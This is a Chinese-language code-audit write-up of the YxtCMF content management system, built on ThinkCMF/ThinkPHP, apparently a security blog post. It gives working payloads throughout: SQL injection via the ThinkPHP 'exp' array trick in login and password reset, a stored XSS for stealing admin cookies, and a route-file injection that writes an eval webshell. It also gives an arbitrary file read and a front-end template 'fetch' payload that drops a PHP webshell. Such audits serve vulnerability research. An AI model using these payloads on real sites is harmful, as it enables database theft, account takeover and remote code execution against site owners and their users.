配置
下载地址:http://down.chinaz.com/soft/38075.htm
目录
admin //后台静态文件
appliication //应用文件
data //数据配置文件
Expand //扩展类库目录
plugins //插件
public //一些资源
themes //主题
ueditor //编辑器文件
update //升级文件
uploads //上传文件
yxtedu //核心目录根据Thinkphp3.2.3开发的
index.php
application/xxx/controller //由于是MVC架构,控制controller
application/xxx/Menu //里面基本上是数组,定义了网站的一些功能名称、模块,我们可以根据这些数组查找到功能点对应的php文件
data/conf/route.php //路由文件
data/conf/db.php //数据库配置文件
yxtedu/Core/Mode/Api/function.php //thinkphp里面的一些自定义的重要函数,后面我们需要用到
入口文件index.php
<?php
if (ini_get('magic_quotes_gpc'))
{
function stripslashesRecursive(array $array)
{
foreach ($array as $k => $v)
{
if (is_string($v))
{
$array[$k] = stripslashes($v);
} else
if (is_array($v))
{
$array[$k] = stripslashesRecursive($v);
}
}
return $array;
}
$_GET = stripslashesRecursive($_GET);
$_POST = stripslashesRecursive($_POST);
}
define("APP_DEBUG",false);
define('SITE_PATH', dirname(__file__) . "/");
define('APP_PATH', SITE_PATH . 'application/');
define('SPAPP_PATH', SITE_PATH . 'yxtedu/');
define('SPAPP', './application/');
define('SPSTATIC', SITE_PATH . 'statics/');
define("RUNTIME_PATH", SITE_PATH . "data/runtime/");
define("HTML_PATH", SITE_PATH . "data/runtime/Html/");
define("THINKCMF_CORE_TAGLIBS", 'cx,Common\Lib\Taglib\TagLibSpadmin,Common\Lib\Taglib\TagLibHome');
if (!file_exists("data/install.lock"))
{
if (strtolower($_GET['g']) != "install")
{
header("Location:./index.php?g=install");
exit();
}
}
require SPAPP_PATH . 'Core/ThinkPHP.php';
先判断是否开启magic_quotes_gpc,magic_quotes_gpc是配置在php.ini中的,他的作用类似addslashes(),就是对输入的字符创中的字符进行转义处理。他可以对$_POST、$__GET以及进行数据库操作的sql进行转义处理,防止sql注入
然后进行stripslashesRecursive()调用处理,实质是使用stripslashes(),返回一个去除转义反斜线后的字符串(' 转换为 ‘ 等等)。双反斜线(\)被转换为单个反斜线(\),这里感觉岂不是更不安全
然后是给常用参数赋值,然后判断是否安装通过data/install.lock是否存在
首页
登录功能
首页找功能点, 先看登录功能,由于是thinkphp开发的,所以我们只需要看登录的控制器就行了
login控制器目录
YxtCMF\application\User\Controller\LoginController.class.php
直接查看ajaxlogin()控制登录函数
$username=$_POST['account'];
$password=$_POST['password'];
$users_model=M('Users');
if(preg_match('/^\d+$/', $username)){
$where['mobile']=$username;
}else{
if(strpos($username,"@")>0){
$where['user_email']=$username;
}else{
$where['user_login']=$username;
}
}
$result = $users_model->where($where)->find();
POST传入值,创建一个M模型,判断了一下用户登录的方式(手机号|邮箱|id),传入where数组,看下文档
文档地址:http://document.thinkphp.cn/manual_3_2.html#query_type
查询历史漏洞,发现thinkphp有个exp
所以我们可以构造一个username的数组进行注入
payload:
account[0]=exp&account[1]=%3d'123'%20and%201%3d(updatexml(1,concat(0x3a,(select%20database())
为啥要构造两个等号,因为exp后执行的是完整的wheresql语句无等号
可以尝试去掉等号
这里依然可以通过注册一个账号sql读取密码通过sql update来更新管理员的密码,获得管理员权限
注册功能
查看控制器
application\User\Controller\LoginController.class.php
查询语句取决于是否设置短信验证
发现经过safe函数进行过滤
查看继承的控制器,找safe函数
application\Common\Controller\HomebaseController.class.php
发现过滤了xss利用((xss个人认为没有,实体化了单引号,双引号,和>) 和单引号 不过不影响,主要导致这里无法注入的是 $str = trim($str);
trim()处理的对象是字符串,测试传入数组,发现数组变为空(调试结果下图)
验证一下将$str = trim($str);给注释掉,发现注入成功
所以这里应该没法注入,若分析不对请指正感谢
继续看一下忘记密码功能
抓包看了一下调用的是
application\User\Controller\RegisterController.class.php
的repassword()方法,同样原理这里存在sql注入
payload
tel[0]=exp&tel[1]=%3d1%20and%20updatexml(1,concat(0x7e,user()),1)&mobileCode=&password=123456789&repassword=123456789
普通用户登录
更改姓名的地方存在存储xss
抓包查看调用的控制器函数为
application\User\Controller\SettingController.class.php
userid是没法该变的系统调用,但是保存的其他未经过任何过滤,存在储存xss,登录管理员后台,发现同样被执行,可盗取管理员cookie
管理员后台登录
广告编辑处存在sql
控制器
application\Admin\Controller\AdController.class.php
37行
经过I函数处理,查看官方文档I函数
http://document.thinkphp.cn/manual_3_2.html#input_filter
后没跟过滤选项,查看全局过滤
所以只是实例化了xss
存在sql注入
同样的sql还有很多地方,不在看了
添加路由处getshell
application\Admin\Controller\RouteController.class.php
查看sp_get_routes()函数
application\Common\Common\function.php
function sp_get_routes($refresh=false){
$routes=F("routes");
if( (!empty($routes)||is_array($routes)) && !$refresh){
return $routes;
}
$routes=M("Route")->where("status=1")->order("listorder asc")->select();
$all_routes=array();
$cache_routes=array();
foreach ($routes as $er){
$full_url=htmlspecialchars_decode($er['full_url']);
// 解析URL
$info = parse_url($full_url);
$path = explode("/",$info['path']);
if(count($path)!=3){//必须是完整 url
continue;
}
$module=strtolower($path[0]);
// 解析参数
$vars = array();
if(isset($info['query'])) { // 解析地址里面参数 合并到vars
parse_str($info['query'],$params);
$vars = array_merge($params,$vars);
}
$vars_src=$vars;
ksort($vars);
$path=$info['path'];
$full_url=$path.(empty($vars)?"":"?").http_build_query($vars);
$url=$er['url'];
if(strpos($url,':')===false){
$cache_routes['static'][$full_url]=$url;
}else{
$cache_routes['dynamic'][$path][]=array("query"=>$vars,"url"=>$url);
}
$all_routes[$url]=$full_url;
}
F("routes",$cache_routes);
$route_dir=SITE_PATH."/data/conf/";
if(!file_exists($route_dir)){
mkdir($route_dir);
}
$route_file=$route_dir."route.php";
file_put_contents($route_file, "<?php\treturn " . stripslashes(var_export($all_routes, true)) . ";");
return $cache_routes;
}
最后面
stripslashes
var_export
相当于没启用作用,so如果可控制$all_routes通过单引号闭合变可写入木马
$url直接从数据库读取没有处理,$full_url 判断了path必须大于三位
也就是说最少要a/b/c,
所以可构造闭合单引号写入
payload:
a/b/c',@eval($_REQUEST['a']),'
一定要启用,因为where(“status=1”)
成功写入
前台getshel
任意文件读取payload:
/index.php?a=display&templateFile=1.txt
写入文件getshellp
pauload:
index.php?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('lnng.php','<?php @eval($_POST["lnng"]); ?>')</php>
原理
看下面这两个大佬的文章吧,写的超级详细
https://www.yuque.com/u390550/hsy6gq/xggm0c#PmqIa
https://paper.seebug.org/1419/#41-thinkcmf-2x-fetch
简单概括来说Thinkcmf是Tinkphp再开发的,他有一些Thinkphp的特性,可以通过g\m\a参数指定分组\控制器\方法,这里可以通过a参数直接调用(为啥是Portal应用,配置里有个’DEFAULT_MODULE’ => ‘Portal’,建议看文章为啥是a和Portal)Portal\IndexController父类HomebaseController中的一些权限为public的方法(fetch方法 display方法)
然后他有对应的参数
fetch函数层层分析,最后函数中调用了loadTemplate()函数,进入到该函数中,我们可以看到content最终被赋值到了 $tmplContent参数中;
然后$tmplContent (content)经过编译后通过Storage::put函数保存,最终将文件生成到data/runtime/Cache/Portal文件夹中。最后在Template.class.php文件中调用了Storage::load加载cache文件,最终导致代码执行。
还是建议看上面两个大佬的文章这个地方写的非常详细
参考文章
https://evi1s.com/archives/159/
https://www.yuque.com/u390550/hsy6gq/xggm0c#PmqIa
https://paper.seebug.org/1419/#41-thinkcmf-2x-fetch